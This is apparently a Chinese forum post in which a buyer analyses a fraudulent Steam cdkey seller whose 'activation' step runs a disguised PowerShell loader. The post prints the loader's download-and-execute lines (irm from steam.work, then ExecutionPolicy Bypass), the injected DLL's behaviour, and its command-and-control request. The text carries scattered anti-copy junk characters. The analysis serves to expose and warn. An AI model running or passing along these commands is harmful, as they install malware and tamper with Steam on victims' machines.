|
刚刚去买了个 cdkey 准备送给朋友,结果一看发货介绍感觉有点不对劲:$ Q7 V4 E! m0 o, s5 E4 u! x

5 V1 ]3 D4 ~" G ?2 z$ q# m: O( I0 A1 K- O- X5 U3 p0 N7 X
啥啊,irm iex 这不是经典的从网络获取脚本并执行的操作吗,怎么领个激活码还要搞这?
4 S. }: x3 V5 Q! I8 {0 ~) L6 ~9 y. `$ d/ x( T5 u
我一开始还以为是自动安装加速器,商家还怪好的捏,直到我激活不了,把这脚本拉下来看了看:, }+ g& k) \$ f" T% F S5 F+ Q
 
3 V2 u: B6 O) _% h; v# A7 L好家伙 这玩意整了个极其有欺骗性的东西,因为powershell的多行注释正好是<# #>,正好 HTML 文件的开头是 <!DOCTYPE html> 这鸟人给他改成 <#!DOCTYPE html> 就变成 powershell 的注释了.. 我都差点没看出来..网页还做了 UA 判断和跳转,真是够阴损
* }$ `, q4 Y" Z0 ^0 x1 `
! I9 `6 z; M# y o那么真实的代码就只剩两行了:& s1 j8 c0 F1 z' |) c* Z' a+ v
[PowerShell] 纯文本查看 复制代码" j4 W& d0 ?9 ?( k7 O% t+ G0 E
?
: _9 I0 t0 T2 R- T1
; f- C& y' T3 E! `# I9 o% K2
9 j. y' D( o/ V& P | irm steam.work/pwsDwFile/new1 -OutFile x.ps1
/ i/ ]( w$ M6 a9 npowershell.exe -ExecutionPolicy Bypass -File x.ps1;
* q5 b4 z) E2 s4 f5 j5 J: Z! a9 k4 ^6 I
| * @" F9 s4 j% W2 {
U+ L! j- x, u. p& A1 `" g/ T) J$ \- H; k& b
% S. U6 z5 P6 A) I
2 I7 u& e# V l
看得出来,又是下脚本...我们把这玩意也下下来看一眼:
/ {4 Z- Y# d" r2 X( H * Z7 K9 O9 D2 p
我怎么兑换个激活码你还给我注入上 Steam了!有病啊!
: U) \+ r$ b9 N- J, V8 z) Q/ i3 f那么我们便不得不好奇一下注入的文件里到底干了啥呢,我们下下来拖进静态分析,但是里面几乎啥都没有,只有两个有意思的地方:
- U6 @8 V+ W( F$ V9 C6 {1. 把危险函数 VirtualAlloc 等 伪装成普通函数:$ X8 s; H; J3 K% t& A5 r

! `; K! q6 z x4 E; y2. 里面有 zlib.inflate (图里打错了)) Y! E3 G( a! I( I, @
: p+ K" K; T( }# E* ~1 e# O
0 Y- B4 k8 C. A8 ~0 O7 w( E& p看上去他是在尝试现场解压某种payload来执行啊!我们直接开一个 Windows Sandbox 来动态调试一下:
0 u( |; w( @$ }1 \% J打开 x32dbg,在 zlib.inflate处打断点,很容易就拿到解压出的东西
& e- X: j6 [; H
/ e- C8 c3 o( a j! p1 r[eax + 0x4 * 3] -> 解压出缓冲区指针
9 d+ L# U9 J! G[eax + 0x4 * 5] -> 解压出数据长度 & K1 \0 ?" E: b1 f! E0 d7 i/ F
不看不知道,一看 MZ 开头,PE格式没跑了,直接一个 savefile 把它存下来,拖进 Binary Ninja% x3 Z8 f$ f! K2 z: j5 [" `; |7 Z9 x
这个文件也有点诡异,有三个 .text 段里面两个都是空的,还有一个 XRef 几乎扫不出来...总之先看一眼 IAT:
4 O5 j9 ]: w5 z0 g" e8 K, l; G ' O8 I4 @8 X6 S$ p' S4 x! p
怎么还引用了一个 winsqlite 啊,看起来像是打算操作 Steam 的数据库?
& T; H P& q8 [7 a# N 6 ^6 x6 H" ^. G3 U. ~
这里还有一些十足诡异的找不到引用的函数,看上去是加密的字符串1 a9 g3 [$ h: a, E+ z' ~' }
' \8 h; w+ k. B+ B
(接前文)
8 g1 @; D8 d6 T& u0 I* ^那么自然我们现在应该给导出的仅有的几个函数打一下断点看看;首当其冲怀疑的就是这个网络函数
) K2 d1 l% w6 C' I4 Y直接先在该 dll 加载前打断点,暂停后在InternetOpenA打断点;发现有反调试检测,用 ScyllaHide Basic 轻松过掉9 l I( z& R7 @
然后就断下来了,我们来看一眼
3 b4 Y+ ~* q! [6 N5 Y! q: l0 g 1 Y' L' b S% d+ V; J
直接找到病毒开始请求配置的地方和端点了,大收获啊;但是我们直接访问 http://api.steam.work/api/integral/vs ,他是返回 403 Unauthorized 的,看来可能有什么 UA,POST body之类的,继续下断点查一下+ r: _( c2 ^$ I, c7 g! B7 _0 w
在InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA,成功还原整个请求:
0 f1 `4 i- B' i( M; n1 E c
) P3 q/ Y2 Z* [! R+ U0 R+ |: E) JHTTP1.1 POST http://api.steam.work/api/integral/vs M# X: ?* ~; V% y
Referer: version6 Y3 f" B5 f8 T' G6 P( e8 D6 F l
user-agent: steam
( z7 o- X: f k9 o4 Z{"sign":"ckv"}9 F: b6 n2 d5 n: N9 N
6 X: T' j2 s. a' v$ u. L0 e3 `! u
6 h( X7 [$ i ^! s. V: Y8 z % ] X" f6 T2 @, O* R. W+ L
" y8 U: j: [; L1 b; e返回值拿到手,只有一串不知道是什么的 hex;我们先再看看其他几个点
T! F: c- o2 w& Bsqlite这边下断点以后啥也没有,可能是激活的时候才会操作(我用的Windows Sandbox,不知道为什么打不开Steam……)
* X2 @0 [8 B) I' U! Y3 ?3 @2 q
8 {3 R; z$ K: {) s [+ D于是转移到一台实机上继续分析。8 M6 A% r" r: f9 ^! a6 o$ S n
. s1 J9 b; t1 `& @5 n+ ~4 o% h
( H. C7 k) U) ] t z直接拿它给的虚假激活码来激活,可以直接断在 HTTP 请求点
7 K; u4 c( e+ ` v" o& F4 T把请求掏出来看看:
( Y! F w3 P `$ ?2 l ! Z3 G+ k8 b* v8 b- c: J
看起来是成功了,返回一个 code 和一个 data;
. z8 V: X. E4 @8 e这个 ID 又是啥?
3 \8 u# F9 R7 e# U
; K) U' ]$ G- @5 e& d) d4 `哦,哈迪斯的 App ID' X6 }$ i' r0 Q# ]
那么接着调试,在一通奇奇怪怪的网络请求之后,它下下来一个 8k 的文件到 steam 的目录里
G! j) v5 u3 Q& H6 C- eC:\Program Files (x86)\Steam\package\data
) h9 w- X. A/ o% | # p; `) @* I5 B6 |# G7 p
这是干啥的呢?看看我们正常的 Steam 这里有什么...居然什么都没有!- ~ L% C( q/ R D7 v$ Q5 |
那么就说明,这个文件是病毒专用的了;我们直接 ImHex 打开
" m. h1 M0 A% l2 D' u) z7 P, ? 2 f9 ?$ C( G9 E& y0 Z
居然是个数据库!怪不得他要链 winsqlite;那这个数据库里有啥?我们丢进查看器:5 |+ z/ ^9 t5 e; U

$ e0 n2 }: C# U; ~3 U0 _9 e4 S有个appid,和两个不认识的hex;把键名拿去搜搜看:
4 |6 k( L, H- N- s
3 s. }" @1 | ]! @8 W
. y C! U: o+ F" @% q, k w! o原来是这样!这是一种叫做“清单入库”的已经广为流传的Steam免费入库方式,结果被不法商家用于欺诈消费者,十分恶劣!
; d* `4 I- P3 y- f& }
3 r6 p: J4 }- P5 o4 c还有一些相关信息,大家可以自行查看→ https://github.com/pjy612/SteamManifestCache/discussions/374 https://github.com/pjy612/SteamManifestCache/wiki/DecryptionKey$ W. P$ ?8 v3 q: X* E
; V* W% I9 E1 V0 h) |8 u: t |
" i, @7 j8 {, V+ [. Y% g* Q9 V" W0 M* ~8 G$ `2 E
& e* L8 C1 z' J- n5 D, u$ c& a" k& {
. `+ v% R, u! ~+ n( g( A# C. g8 Q1 Y0 D. O
8 m( s' X1 v8 D Y2 R" \* s% ~) H% Z
+ G R- d% O9 z' X
) A% i$ Q7 H J% H1 b7 _
5 ?8 D: ^2 C+ b
4 L$ a$ v9 }2 V, o |
|